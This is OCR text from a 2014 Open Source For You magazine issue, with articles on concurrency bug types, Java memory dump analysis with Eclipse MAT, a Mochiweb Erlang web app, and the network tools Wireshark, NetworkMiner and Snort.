ulti-core processors have really become mainstream these days. It is common to see mobile phone processors with dual-cores, with some new models even having quad-cores. Almost all computers (laptops, servers, etc) have multiple cores. With the wide use of multi-core processors, it has become more important than ever before to write concurrent code to exploit the power of these processors. In the past, lots of multi-threaded code was written but for single-core processors. Concurrent code was written mainly for running tasks in the background, to provide responsive user interfaces, etc. But when we start using these applications in systems with multiple cores, the applications become really concurrent and concurrency bugs start showing up. Writing correct concurrent code is not easy. With every thing else being equal, concurrent code can be expected to have more problems than sequential (deterministic) code. Why? Sequential programs are influenced by input, the systems environment and user interaction. In addition to these factors, concurrent programs are influenced by the ordering of events (such as scheduling, which is non-deterministic). Testing concurrent programs is also difficult. There are two main reasons for this—limited observability and controllability. The tester cannot observe important details of program execution, like the interleaving of threads. The tester also cannot easily reproduce the problems, limiting the controllability. Experts Herb Sutter and James Larus put it succinctly "...humans are quickly overwhelmed by concurrency and find it much more difficult to reason about concurrent than sequential code. Even careful people miss possible inter-leavings..." When I wrote concurrent programs, I got exposed to different kinds of concurrency problems. I always wondered why no one told me about the fundamental kinds of concurrency problems that one ought to be aware of. So, I created a quick and simple classification of concurrency bugs, which has only three categories of problems that you need to remember: determinismrelated, safety-related, and ‘liveness’-related. Well-

44 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

known definitions of these three properties are: Determinism: Ensure that, for a given set of inputs, the output values of a program are the same for any execution schedule. Safety: Ensure that nothing bad happens. Liveness: Ensure that something good eventually happens.

Determinism-related bugs

Data races (also known as race conditions) are perhaps the best known bugs related to determinism. Typically, when we talk about a data race, we discuss the low-level data race when two or more concurrent threads access a shared variable and when at least one access is a write; and the threads use no explicit mechanism (such as a mutex) to prevent the access from being simultaneous. However, a data race could also be high-level when a set of shared variables need to be accessed or modified together atomically. There are many other kinds of determinism bugs as well. For instance, when the code depends on thread scheduling, it can cause subtle bugs. I remember cases in which programmers had used sleep calls instead of using mutex or the wait/notify pattern for safe access to shared variables. In such cases, when the programmers try to use the application in their machines, it may work fine, but in a testing or production environment, the bug may get exposed, as in the following real-world incident. In August 14, 2003, millions of people lost electric power in northern USA and Canada. There were several factors contributing to the blackout, and the official report indicated a problem in a C++ alarm monitoring software. There was a data race caused because of artiﬁcially introduced delays in the code. Because of this race condition, the alarm event handler went into an inﬁnite loop and failed to raise an alarm. This eventually led to a power blackout.

Safety-related bugs

A well-known safety-related concurrency bug is ‘missing

Guest Column Joy of Programming

locks’, i.e., not using mutexes for a section of code that must be protected from concurrent execution. Another well-known problem is ‘open call’, i.e., making a call to a method that is not thread-safe, from code that is part of a critical section. There are other uncommon bugs as well, in this category. To give an example, the ‘two stage access’ problem occurs when a sequence of operations needs to be protected as a whole, but each operation is protected separately.

Liveness-related bugs

Deadlocks and livelocks are perhaps the best-known concurrency problems in this category. A deadlock happens when there is a cycle in the resources acquired by different threads, and they hold on to the resources for ever (as it often happens at the traffic signals in India). Livelocks happen when two or more processes continuously change their state in response to changes in the other threads without doing any useful work. For instance, one thread may create a file and another deletes

that file—and they keep watching for these events and are busy undoing each other's actions! When high-priority threads keep using the CPU without letting lower priority threads do their tasks, we have the problem of starvation. So some work will never get done, and that will affect the program. Sometimes, liveness problems happen because a thread ‘waits forever’! For instance, I have seen an application hang because a thread that acquired a critical section never returned and the program was waiting for that thread to complete. Concurrency bugs often take many hours to debug, and so it is better to be prepared and safe, than sorry. So, if you write concurrent programs, keep the three kinds of bugs mentioned in this article in mind and avoid them. You'll be happier for having done that.

By: Ganesh Samarthyam The author is a freelance corporate trainer and consultant based in Bengaluru. You can reach him at ganesh. samarthyam at gmail dot com.

None

OSFY?

You can mail us at osfyedit@efyindia.com. You can send this form to ‘The Editor’, OSFY, D-87/1, Okhla Industrial Area, Phase-1, New Delhi-20. Phone No. 011-26810601/02/03, Fax: 011-26817563

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 45

Developers

Let's Try

Analyse Java Memory Dump with Eclipse This is the third and final part of the series of articles on Java heap and thread dump tools. This article covers the Eclipse Memory Analysis Tool and the Thread Dump Analysis Tool from IBM.

he default command line tools that come with Oracle JDK are useful to a limited extent but have a steep learning curve. Another problem with the default command line tools is that these are not portable across different JVMs—IBM and Oracle. In situations where the dump needs to be taken from an IBM JVM, the Oracle tools are not very helpful.

Eclipse Memory Analysis Tool

Eclipse Memory Analysis Tool (MAT) is a free tool that can be used to acquire and analyse memory dumps from both IBM and Oracle JVMs. As discussed earlier, Oracle JVM dumps are in the HPROF format and IBM dumps usually are in PHD format. The default installation of MAT can only acquire and analyse HPROF dumps. MAT can be downloaded from: www.eclipse.org/mat. Support for IBM dumps needs to be installed separately. Instructions to install the plugin to enable PHD format support are available at: http://www.ibm.com/developerworks/java/jdk/tools/iema/. Once this plugin is installed, MAT can be used to acquire and analyse both HPROF and PHD dumps. 46 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Note: 1) MAT is used mainly for analysing memory dumps. Though it can open IBM’s Java core file and list the threads, this information is not of much use when debugging threading issues. The heap dump files–HPROF and PHD –do not contain the threading information required to troubleshoot threading issues. 2) Both PHD and HPROF cannot be used to analyse the native memory. They are most useful in analysing objects on the heap.

Acquiring heap dump

MAT can obtain heap dumps of a locally running JVM process. To acquire a heap dump, go to File Acquire→Heap Dump. This option lists the various heap dump providers— Sun and IBM. It also gives the options to pass while dumping memory. Details on the options to pass can be obtained from the MAT Help menu. In case the dump cannot be acquired from MAT for any reason, the methods described in the first article in the series can be used to obtain the dump. The dumps obtained using command line utilities can be opened

Let's Try

Figure 1: MAT wizard

Developers

Parent object Memory address of the class object and class loader object GC roots of the object The bottom part gives object values such as: Static members of the object Instance variables Class hierarchy Object value. This is not applicable for most objects, except objects such as char arrays. In order to see the biggest objects, the ‘dominator tree’ view is very useful. Dominator tree is a term used in graph theory to represent a special type of parent node in a tree. A parent node ‘x’ is a dominating node of child node ‘y’ if, from the root of the tree, all traversal paths to child node ‘y’ go through the parent node ‘x’. The same concept applies to heap analysis, since objects present on the heap can be represented as a graph due to references from one object to another. The objects represented as a dominator tree view give information about the ‘containing’ objects of a particular object or the ‘child’ objects of a particular object. This helps in identifying the biggest objects that consume memory from a GC root. In order to understand the concept of the dominator tree better, consider the following code segment: ArrayList<MyBigObject> list = new ArrayList<MyBigObject>(); for (int i = 0; i < 99999; i++) { MyBigObjectobj = new MyBigObject(); list.add(obj);

Figure 2: MAT overview

in MAT. The techniques listed in that first article are especially useful in case of IBM JVMs, where the dump provider may not be able to detect a locally running JVM. MAT can also be used to analyse heap dumps that are automatically thrown when the JVM exits due to an OutOfMemoryError.

Analysing dumps

Choose File→Open Heap Dump to open a heap dump file. This brings up a dialogue box that gives options to analyse the heap dump. The commonly used option is Leak Suspects Report. Choosing the leak suspects brings up the Overview page that gives the overall heap information such as the heap size and the number of classes. It also reports the biggest objects in terms of memory consumption. These objects are usually a good place to start the analysis of any memory issues. The left pane of MAT, by default, shows the object inspector view. This has two sections and is constantly available in most of the views associated with viewing objects. The top part of this view gives the object meta-data such as: Memory address of the object Class and package names

In the above code, the ArrayList object ‘list’ is the dominator object of all the MyBigObject instances created. So, in MAT, all the instances of MyBigObject can be viewed by expanding the ‘list’ object. The retained size of ArrayList will include the retained size of all instances of MyBigObject. On the other hand, consider the following code segment: ArrayList<MyBigObject> list = new ArrayList<MyBigObject>(); Map<Integer, MyBigObject> map = new HashMap<Integer, MyBigObject>(); for (int i = 0; i < 99999; i++) { MyBigObjectobj = new MyBigObject(); list.add(obj); map.put(i, obj); } }

In the above code, ‘list’ is no longer the dominating object for all the instances of MyBigObject. This is because these instances are now accessible through another path ‘map’ as well. Hence, in the dominator tree, the retained size of ‘list’ does not include the retained sizes of instances of MyBigObject. It only contains the memory occupied by the references to these instances. This is a very important www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 47

Developers

Let's Try

aspect to consider while debugging memory issues. If only one collection object is expected to contain (hold references to) instances of a particular object, but in the dominator view, if that collection object’s retained size does not include the retained size of these instances, then it can be Figure 3: MAT object inspector concluded that another object also is holding a reference to those objects. The other object that is holding these references could be preventing a garbage collection of these objects, thus resulting in a memory leak. The dominator tree Figure 4: MAT opening dominator can be opened by clicking on the Dominator Tree link in the bottom half of the Overview page. The objects present on the heap, traced from their GC root, are listed in the dominator tree. In the dump being considered, the largest retained heap size originates from the main thread. This thread has a reference to the instance of com.perf.memory. MemoryHogger. This object, in turn, has a reference to an instance of java.util.ArrayList that is backed by an object array. This array is the object that consumes maximum heap space. Drilling down into this object array reveals that it holds a large number of objects of type MyBigObject. This object contains another object of type TestObject and so on. The shallow and the retained size of each object is shown in the dominator tree view. While the dominator tree view gives a graph view of objects by their retained size from the root, the histogram view lists the objects based on the instance count, shallow size and retained size. By default, neither the dominator tree view nor the histogram view differentiate between classes loaded by the JVM or classes loaded by the bootstrap class loader. Due to this, it will be very difficult to find out the objects created by the applications that are consuming memory vs the objects created by JVM itself. MAT provides a feature to group the objects by class loader. This feature is very useful in analysing the objects created by the program. Though this feature is available in all the major views, it is less useful in the dominator tree view because the dominating objects of the application program could have been created by the system class loader. For instance, in the above example, the GC root of the object consuming maximum memory – the ‘list’ object – is the main thread of type java.lang.Thread. Since this thread class is loaded by the system class loader, the dominator tree view 48 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Figure 5: MAT dominator tree view

Figure 6: MAT histogram view

shows the ‘list’ object in the system class loader group. The grouping feature is much more helpful in the histogram view, where the objects loaded by the application can be viewed readily by looking at the application class loader’s objects. This feature of grouping by class loader is more useful when analysing memory dumps from an application server such as Websphere. In most typical configurations, the class loader isolation policy for Web and enterprise applications is set and, hence, each application gets its own class loader. In this situation, even though code in different applications could be in different packages, classes for supporting functions such as logging could be common across all applications. In this kind of situation, it is very important to find out to which application a particular object belongs to. Grouping by class loader comes in very handy in troubleshooting memory issues in these conditions. An interesting observation from the histogram in Figure 6 is that the objects do not show their parent or child references. To get those references, right click an object and choose Merge Shortest Paths to GC. This action shows which GC root is holding a reference (direct or via another object) to this object. This is essentially the same as going back to the dominator tree view, but for the selected object alone. Note: MAT reports the memory sizes after aligning the object sizes on the 8 byte boundary. This is in contrast to JVisualVM, which reports just the object size without aligning it along the 8 byte boundary. Due to this, JVisualVM may report lower-than-actual memory usage by objects. A couple of utilities are available in MAT to show the memory wastage in the application. The Java collections utilities show the wastage in collection objects and the hash collisions

Let's Try in Map objects. This is useful in finding out if searches can be optimised by choosing a better hash code algorithm for the keys or by setting a different load factor for these maps. Prior to Java 1.7, substring() implementation in java. lang.String returned a string object that was still backed by the original char array, but with a different offset and starting pointer. This was done to make substring() method faster. But this resulted in a memory leak because even though an original large string was eligible for garbage collection, its underlying huge char array could not be garbage collected even if there was one small sub-string object created. This wastage can be viewed in the ‘Waste in char arrays’ feature.

Developers

Figure 7: MAT Java collections

Note: Since Java 7, the sub-string method of string returns a new string that does not point to the original string’s char array. This is a trade-off in favour of decreased memory usage over increased time to create sub-strings. In addition to the tools described above, MAT also has an OQL console, where specific queries can be entered and executed. The OQL console can be launched by clicking the OQL button. The exact syntax of the OQL commands can be obtained by hitting F1 in the OQL console.

IBM Thread Analyser

IBM Thread and Monitor Dump Analyser for Java can be downloaded from the IBM developer works site: https:// www.ibm.com/developerworks/community/groups/service/ html/communityview?communityUuid=2245aa39-fa5c4475-b891-14c205f7333c This is in the form of an executable jar file. It can be used to analyse thread dumps created by IBM JVMs. As mentioned in the introduction, thread and heap dumps for an IBM JVM can be triggered by sending a Control+Break signal to the JVM. Once the dump is generated, the core file, usually with the name javacore.<timestamp>.txt can be opened in the IBM Thread Analyser. Like JVisual VM’s thread analyser, the IBM Thread Analyser also detects any deadlocks in the running application and reports them when the dump is loaded. When a dump file is loaded, the Java system properties and environment variables are listed along with the thread details. In addition, a heap usage summary at the point where the dump was taken and information on previous garbage collection cycles is given. Most of the useful features are available in the ‘Analysis’ menu option. The basic analysis that can be done is Thread Status Analysis. This gives a graphical view of the threads, based on their states. The details of those threads are displayed in the bottom panel. For each thread, the name, state, native thread ID, the Java method and stack depth are displayed. Individual threads from this view can be selected and details about them are displayed on the right hand side. The Java stack traces of a thread, along with the monitor that it owns and the monitor it is waiting on, are displayed. This is useful in identifying

Figure 8: MAT Java basics arrays

the piece of code that has caused a deadlock (if any) and the monitor that is needed to break a deadlock. The tool also distinguishes between threads that are waiting on a monitor and threads that are waiting on a condition. A thread that is waiting to acquire a lock is in BLOCKED or waiting on lock condition. A thread that is waiting to be notified, usually via notify() or notifyAll(), of some condition so that execution can proceed will be in WAITING or wait on condition state. In general, threads that are in BLOCKED state are a cause of concern as they indicate a lock condition. Threads in WAITING state may or may not be a cause of concern based on which monitor’s condition they are waiting on. There can be overlaps in thread states. For instance, a blocked thread could also have been deadlocked. In this case, the status is displayed as Deadlock/Blocked. The percentage of threads in each state, displayed in Thread Status Analysis, could exceed 100 per cent because threads in dual conditions, as described above, are reported under both states. The Method Analysis view organises the threads based on their status and the Java method they are in. No Java stack can be reported in case of the native code. A very useful feature in analysing the performance of applications is the ability to compare two thread dumps. By comparing the thread dumps taken at different points in www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 49

Developers

Let's Try

Figure 9: IBMTA deadlock detection

Figure11: IBMTA thread status Figure 10: IBMTA analysis

time, the state changes each thread has undergone can be understood and, possibly, the reason behind a deadlocked or a poorly responding thread can be understood better. To compare thread dumps, load multiple thread dumps, choose the dumps to compare, right click and choose Compare Threads. Similarly, the monitors owned by threads in different dumps can be visualised by choosing Compare Monitors. The native memory analysis gives information on the various memory areas, threads, JIT compiler details and class libraries in a single view. This is useful to analyse the overall memory profile of the JVM, i.e., analyse the memory utilisation of each of these memory areas. The Monitor Detail view is the most useful tool in quickly identifying the monitor dependencies among the threads that have led to a deadlock. The cyclic dependency amongst threads and the monitors that caused these dependencies can be visualised by drilling down the threads. Clicking on a thread gives information on the monitor owned by the thread and the monitor it is waiting on. It can be seen that this monitor is being held by another thread. A variety of free tools is available to profile and analyse Java applications in order to find memory issues and performance bottlenecks. Most of the tools provide the basic information required to perform the analysis. Advanced features such as Object Query Language (OQL) can be used by experts to perform more detailed analysis. The choice of tool depends on the familiarity with the tool and the kind of JVM being monitored (IBM or Oracle). Expertise in the JVM memory and threading concepts is more important for 50 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

analysing performance issues than for choosing a tool. References [1] Eclipse Memory Analysis Tool (MAT) www.eclipse.org/mat [2] Object Query Language - http://en.wikipedia.org/wiki/Object_Query_ Language [3] IBM Heap Dumps http://publib.boulder.ibm.com/infocenter/ieduasst/ v1r1m0/index.jsp?topic=/com.ibm.iea.was_v6/was/6.0.1/PD/WASv601_ zOS_Heapdumps/player.html [4] HPROF: A Heap/CPU Profiling Tool - http://docs.oracle.com/javase/7/ docs/technotes/samples/hprof.html [5] Path to GC Queries:http://pic.dhe.ibm.com/infocenter/isa/v4r1m0/index. jsp?topic=%2Fcom.ibm.java.diagnostics.memory.analyzer.doc%2Fpath_to_ gcroots.html [6] Java Tools: Jps: http://docs.oracle.com/javase/7/docs/technotes/tools/ share/jps.html Jstat: http://docs.oracle.com/javase/7/docs/technotes/tools/share/jstat.html JMap: http://docs.oracle.com/javase/7/docs/technotes/tools/share/jmap.html JHat:http://docs.oracle.com/javase/7/docs/technotes/tools/share/jhat.html [7] Java Instrumentation package:http://docs.oracle.com/javase/7/docs/api/ index.html?java/lang/instrument/package-summary.html [8] Visual GC help: http://www.oracle.com/technetwork/java/visualgc136680.html [9] IBM Developer Works Community: https://www.ibm.com/developerworks/ community/ [10] Java HPROF: http://docs.oracle.com/javase/7/docs/technotes/samples/ hprof.html [11] Portable Heap Dump: http://pic.dhe.ibm.com/infocenter/ java7sdk/v7r0/index.jsp?topic=%2Fcom.ibm.java.win.70. doc%2Fdiag%2Ftools%2Fheapdump_phd_format.html

By: Murali Suraparaju The author holds an M Tech in Computer Science. He has worked extensively on building enterprise applications using JEE technologies, and has developed solutions for enterprise and embedded products. He is a member of the Performance Engineering practice in the Financial Services division of Infosys Limited.

Guest Column Exploring Software

Anil Seth

Building a Web Application Using Mochiweb Mochiweb is an Erlang library for building lightweight HTTP servers. Using Fedora 20, the author leads readers through the steps to building a simple Web application.

his is the era of the app. The sheer number of them on various mobile devices is mind boggling. An app has to look good on the mobile device, but what about the backend? Will it scale if the app succeeds? How much effort should one put in to ensure scalability upfront, e.g., by using as many cores and processors available? How hard would it be to write a Web service in Erlang? In this article, let’s explore the Mochiweb framework by creating a simple application in which the Web application gets a keyword and responds with a list of values. The template engine we will use is ErlyDTL, which is an Erlang implementation of Django Template Language.

Getting started

Let’s experiment using Fedora 20. The steps are as follows: Install the erlang-mochiweb, erlang-erlydtl and erlangrebar packages Modify mochiwebapp.template in /usr/lib64/erlang/lib/ mochiweb-2.4.2/support/templates/ to remove references to files not in the distribution–Makefile, .gitignore and rebar. The updated template will appear as follows: %% -*- erlang -*-{variables, [{appid, "mochiwebapp"}, {author, "Mochi Media <dev@mochimedia.com>"}, {year, "2010"}, {version, "0.1"}, {port, 8080}, {dest, "{{appid}}"}]}. {dir, "{{dest}}"}. {template, "mochiwebapp_skel/src/mochiapp.app.src", "{{dest}}/src/{{appid}}.app.src"}. {template, "mochiwebapp_skel/src/mochiapp.erl", "{{dest}}/ src/{{appid}}.erl"}. {template, "mochiwebapp_skel/src/mochiapp_app.erl", "{{dest}}/src/{{appid}}_app.erl"}. {template, "mochiwebapp_skel/src/mochiapp_deps.erl", "{{dest}}/src/{{appid}}_deps.erl"}. {template, "mochiwebapp_skel/src/mochiapp_sup.erl", "{{dest}}/src/{{appid}}_sup.erl"}. {template, "mochiwebapp_skel/src/mochiapp_web.erl",

"{{dest}}/src/{{appid}}_web.erl"}. {template, "mochiwebapp_skel/start-dev.sh", "{{dest}}/startdev.sh"}. {template, "mochiwebapp_skel/priv/www/index.html", "{{dest}}/ priv/www/index.html"}. {file, "mochiwebapp_skel/rebar.config", "{{dest}}/rebar.config"}. {chmod, 8#755, "{{dest}}/start-dev.sh"}.

Create a minimal app as follows: $ cd /usr/lib64/erlang/lib/mochiweb-2.4.2/support/ $ rebar create template=mochiwebapp dest=~/mochiwebx appid=mochiwebx

Test it: $ cd ~/mochiwebx $ ./start-dev.sh

Open http://localhost:8080 in a Web browser and you should see mochiwebx running.

Creating the template

Create the directory templates in ~/mochiwebx. Create the template file, templates/webapp.dtl with the following content: <html> <body> <form method="GET"> <p>Key: <input type="text" name="key"></p> <input type="submit"> </form> {% for key,value in the_list %} <p> {{ key }} Value {{ value }} </p> {% endfor %} </body> </html>

We iterate over the elements of a list and display the values of each element in a row.

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 51

Exploring Software

Guest Column

Erlang code

HTMLoutput}).

We need to add the code to process the request for the form. The function loop in the file src/mochiwebx_web.erl is the one that processes each request. We add a line to call a function as follows: loop(Req, DocRoot) -> "/" ++ Path = Req:get(path), try case Req:get(method) of Method when Method =:= 'GET'; Method =:= 'HEAD' -> case Path of "webapp" -> webapp(Req); _ -> Req:serve_file(Path, DocRoot) end; (rest of the function as is)

We also add the function webapp to process the form and return the response as follows: webapp(Req) -> MyList = [{"a",1},{"b",2},{"c",3},{"a",4},{"b",5},{ "a",6}], Data = Req:parse_qs(), Key = proplists:get_value("key", Data, "NONE"), SendList = [ {X,Y} || {X,Y} <- MyList, X =:= Key ], {ok, HTMLoutput} = webapp_dtl:render([{the_list, SendList}]), Req:respond({200, [{"Content-Type", "text/html"}],

In this simple example, we have used a hard-coded list, filtered it using a list comprehension and returned it in the same template.

A JSON response

An app on a mobile may not need an HTML page and it will be best to send a JSON response. We replace the call to render by a call to mochijson2:encode in the webapp function as follows: %%{ok, HTMLoutput} = webapp_dtl:render([{the_list, SendList}]), HTMLoutput = mochijson2:encode(SendList),

The form will no longer be displayed but we can test it in a browser by using a URL like http://localhost:8080/ webapp?key=a Writing a Web application using Erlang is not difficult too. Even a trivial application is effortlessly scalable; so, Erlang is an option well worth exploring.

References [1] http://alexmarandon.com/articles/mochiweb_tutorial/ [2] https://github.com/erlydtl/erlydtl/wiki [3] http://www.metabrew.com/article/a-million-user-cometapplication-with-mochiweb-part-1

By: Anil Seth The author has earned the right to do what interests him. You can find him online at http://sethanil.com, http://sethanil. blogspot.com, and reach him via email at anil@sethanil.com

OSFY Magazine Attractions During 2014-15 Month

Theme

Featured List

March 2014

Network monitoring

Security

April 2014

Android Special

Anti Virus

May 2014

Backup and Data Storage

Certification

June 2014

Open Source on Windows

Mobile Apps

July 2014

Firewall and Network security

Web hosting Solutions Providers

August 2014

Kernel Development

Big Data Solution Providers

September 2014

Open Source for Start-ups

Cloud

October 2014

Mobile App Development

Training on Programming Languages

November 2014

Cloud special

Virtualisation Solutions Provider

December 2014

Web Development

A list of leading Ecommerce sites

January 2015

Programming Languages

IT Consultancy

February 2015

Top 10 of Everything on Open Source

Storage Solution Providers

52 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

How To

Admin

Three Tools to Help You Protect Your Network The network administrator's constant fear is a compromised network due to hackers or unauthorised access. This article describes the use of Wireshark, NetworkMiner and Snort, three popular open source packet analysis tools that help to analyse hacking or cracking attempts on a network.

he task of monitoring and administering networks has become both important and difficult due to the huge amount of information flowing through different transmission channels. In any organisation, it's a challenging task for network administrators to analyse the financial, military, educational or social information passing through their networks. Network crackers are very keen to access the confidential data running inside a target’s network. Hence, there is the need for very effective tools that can analyse hacking or cracking attempts. Generally, crackers analyse the opponents’ networks and capture the information in their records. This task is classically known as network sniffing, by which the information flowing through a network is repeatedly analysed. There are a number of software products available in the technology market that provide network sniffer modules, using which, the systems administrator can analyse the packets. Packet capturing is the procedure of capturing and logging movement. The packet analyser is also referred to

as a network analyser, protocol analysis tool or protocol analyser, packet sniffer, Ethernet sniffer or, simply, a wireless sniffer. Such software is technically a program that intercepts, seizes and logs the traffic passing through a network infrastructure. As information streams over the system, the sniffer catches every packet and, if required, translates the packet's crude information, demonstrating the qualities of different fields in the parcel.

Active and passive sniffing

Sniffing is a technique for fetching network information by capturing network packets. There are two types of packet sniffing in networks—active sniffing and passive sniffing. In active sniffing, the packet sniffing tool or software sends the requests over the network and then, in response, calculates the packets passing through the network. Passive sniffing does not rely on sending requests. This technique scans the network traffic without being detected on the network. It can be useful in places where networks are running critical www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 53

Admin

How To

systems in the realm of process control, radar systems, medical equipment or telecommunications.

Features of packet tracing/ analysis tools

There are a number of applications for which packet analysers or sniffers can be used in a constructive way. Given below is a list of the benefits of packet tracing tools: Analyse network problems Detect network intrusion attempts Detect network misuse by internal and external users Document regulatory compliance Figure 1: Selecting the interface list for packet analysis by logging all perimeter and endpoint traffic Gain information on network intrusion Isolate exploited systems Monitor WAN bandwidth utilisation Monitor network usage (including internal and external users and systems) Monitor data-in-motion Monitor WAN and endpoint security status Gather and report network statistics Filter suspect content from network traffic Serve as the primary data source for day-to-day network monitoring and management Spy on other network users and collect sensitive information such as login details or users’ cookies (depending on any content encryption methods that may be in use) Reverse engineer proprietary protocols used over the Figure 2: List of packets and related information analysed by Wireshark network Debug client/server communications Debug network protocol implementations Verify adds, moves and changes Verify the internal control system’s effectiveness (firewalls, access control, Web filter, spam filter, proxy, etc) The open source packet analysis tools available are Wireshark, NetworkMiner and Snort.

Wireshark

Wireshark is a free and open source network packet analysis tool. It is used for network troubleshooting, dissection, programming and communications protocol research, development and training. Initially, it was called Ethereal, and in May 2006, the venture was renamed Wireshark because of trademark issues. Wireshark is cross-platform. It runs on different UNIX-like frameworks including GNU/Linux, OS X, BSD and Solaris, and even on Microsoft Windows. There is, likewise, a terminal-based (non-GUI) form called Tshark. Wireshark, and alternate projects distributed 54 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Figure 3: View enabled protocols for analysis

with it, like Tshark, are free software, released under the GNU General Public License.

How To

Admin

Figure 4: List of protocols with the options displayed by Wireshark

Figure 5: Analysing individual packets by right-clicking

Figure 6: Individual packet information

Wireshark has also won some industry awards and recognition over the years, from the following: eWeek Infoworld Insecure.org system security devices survey

Sourceforge Project of the Month in August 2010 McAfee SiteAdvisor Network Protocol Analysis Award VoIP Monitoring Award Wireshark is a specialised tool that automatically understands the structure and format of different networking protocols. It can intelligently parse and show the fields, along with their descriptions specified by assorted networking protocols. Wireshark makes use of pcap to capture the packets. This tool is able to capture packets on the types of networks that pcap supports. Wireshark has a rich set of features including: Detailed as well as deep inspection of hundreds of protocols. Live capturing of packets as well as offline investigation. It’s a cross-platform tool that can run on Windows, Linux, OS X, Solaris, FreeBSD, NetBSD, and many others, without any specific configuration. The captured network packets and data can be viewed via a GUI, or via the TTY-mode T Shark utility. It has VoIP support and analysis. VoIP calls in the captured traffic can be analysed and detected. Captured files compressed with gzip can be decompressed, on the fly. Live data can be read from Ethernet, IEEE 802.11, PPP/ HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay, FDDI, and others (depending on your platform). It has decryption support for many protocols, including IPsec, ISAKMP, Kerberos, SNMPv3, SSL/TLS, WEP, and WPA/WPA2. Colouring rules can be applied to the packet list for quick, intuitive analysis. It has the output export feature to XML, PostScript, CSV or plain text. Data can be captured from a live network connection or can be read from a file of already-captured packets. Live data can be analysed from many types of networks including Ethernet, IEEE 802.11, PPP, and loopback. The captured data can be edited or converted via commandline switches to the ‘editcap’ tool. The refinement in the data display can be implemented using the display filter. Plug-ins can be implemented and developed for new protocols. Raw traffic related to USB can be captured easily. The online manual of Wireshark is available at http://www. wireshark.org/docs/wsug_html_chunked/index.html.

NetworkMiner

NetworkMiner is a famous network forensic analysis tool (NFAT) that can detect various system parameters including OS, hostname and open ports of network hosts through packet sniffing or by parsing a pcap file. The tool can extract the transmitted files from network traffic. NetworkMiner www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 55

Admin

How To

Figure 9: Analysis of all packets

Figure 7: Flow graph generation for the analysed packets

is classically used as a passive network sniffer/ packet capturing tool to detect the operating systems, sessions, hostnames, open ports and related information without placing any traffic on the network.

Using NetworkMiner

The GUI of NetworkMiner Figure 8: Flow graph generation options for the analysed packets is divided into tabs. Each tab has a different approach towards analysing information of the captured data. The followings steps are used to analyse network traffic. First, select the network interface for which the data has to be captured. By default, the Hosts tab is selected. You can sort hosts on the basis of IP address, MAC address, hostname, operating system, etc. Press the Start button to begin the sniffing process.

Snort

Snort is an open source tool written in C, used as a network intrusion prevention and detection system (IDS/IPS) and has been developed by Sourcefire. It offers an excellent combination of benefits like signature, protocol and anomaly-based inspection. With millions of downloads and nearly 400,000 registered users, Snort has become the de facto standard for IPS. Snort can implement protocol analysis and content investigation with a number of other features including detection of a variety of attacks and probes such as buffer overflows, stealth port scans, CGI attacks, SMB probes, OS fingerprinting attempts, and more. Snort makes use of a flexible rules language to explain the traffic that it should collect or pass, as well as a detection engine that has a 56 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

modular plug-in architecture. Snort can be configured in three different modes: sniffer, packet logger and network intrusion detection. In sniffer mode, the tool reads the network packets and displays them on the console. In packet logger mode, the tool implements the logging of the packets to the disk. In intrusion detection mode, the tool monitors the network traffic and analyses it against a rule set defined by the user. The main configuration file is /etc/snort/snort.conf. In this configuration file, the actual information of the network or system that is under investigation is specified. All values and parameters are commented in the file so that the changes can be done very easily. Some of the extracts from the configuration file are: # Setup the network addresses you are protecting ipvar HOME_NET any # Set up the external network addresses. Leave as "any" in most situations ipvar EXTERNAL_NET any # List of DNS servers on your network ipvar DNS_SERVERS $HOME_NET # List of SMTP servers on your network ipvar SMTP_SERVERS $HOME_NET # List of web servers on your network ipvar HTTP_SERVERS $HOME_NET # List of sql servers on your network ipvar SQL_SERVERS $HOME_NET # List of telnet servers on your network ipvar TELNET_SERVERS $HOME_NET # List of ssh servers on your network ipvar SSH_SERVERS $HOME_NET # List of ftp servers on your network ipvar FTP_SERVERS $HOME_NET # List of sip servers on your network ipvar SIP_SERVERS $HOME_NET # List of ports you run web servers on portvar HTTP_PORTS [36,80,81,82,83,84,85,86,87,88,89,90,311,3 83,555,591,593,631,801,808,818,901,972,1158,1220,1414,1533,17 41,1830,2231,2301,2381,2809,3029,3037,3057,3128,3443,3702,400 0,4343,4848,5117,5250,6080,6173,6988,7000,7001,7144,7145,7510 ,7770,7777,7779,8000,8008,8014,8028,8080,8081,8082,8085,8088,

How To 8090,8118,8123,8180,8181,8222,8243,8280,8300,8500,8509,8800,8 888,8899,9000,9060,9080,9090,9091,9111,9443,9999,10000,11371, 12601,15489,29991,33300,34412,34443,34444,41080,44449,50000,5 0002,51423,53331,55252,55555,56712] # List of ports you want to look for SHELLCODE on. portvar SHELLCODE_PORTS !80 # List of ports you might see oracle attacks on portvar ORACLE_PORTS 1024: # List of ports you want to look for SSH connections on: portvar SSH_PORTS 22 # List of ports you run ftp servers on portvar FTP_PORTS [21,2100,3535] # List of ports you run SIP servers on portvar SIP_PORTS [5060,5061,5600] # List of file data ports for file inspection portvar FILE_DATA_PORTS [$HTTP_PORTS,110,143] # List of GTP ports for GTP preprocessor portvar GTP_PORTS [2123,2152,3386] # other variables, these should not be modified ipvar AIM_SERVERS [64.12.24.0/23,64.12.28.0/23,64.12.161.0/24 ,64.12.163.0/24,64.12.200.0/24,205.188.3.0/24,205.188.5.0/24, 205.188.7.0/24,205.188.9.0/24,205.188.153.0/24,205.188.179.0/ 24,205.188.248.0/24]

Admin

Figure 10: NetworkMiner options menu

Basic commands of Snort

The simplest way to start Snort and see what it does is to use the following command: snort -v -i eth0

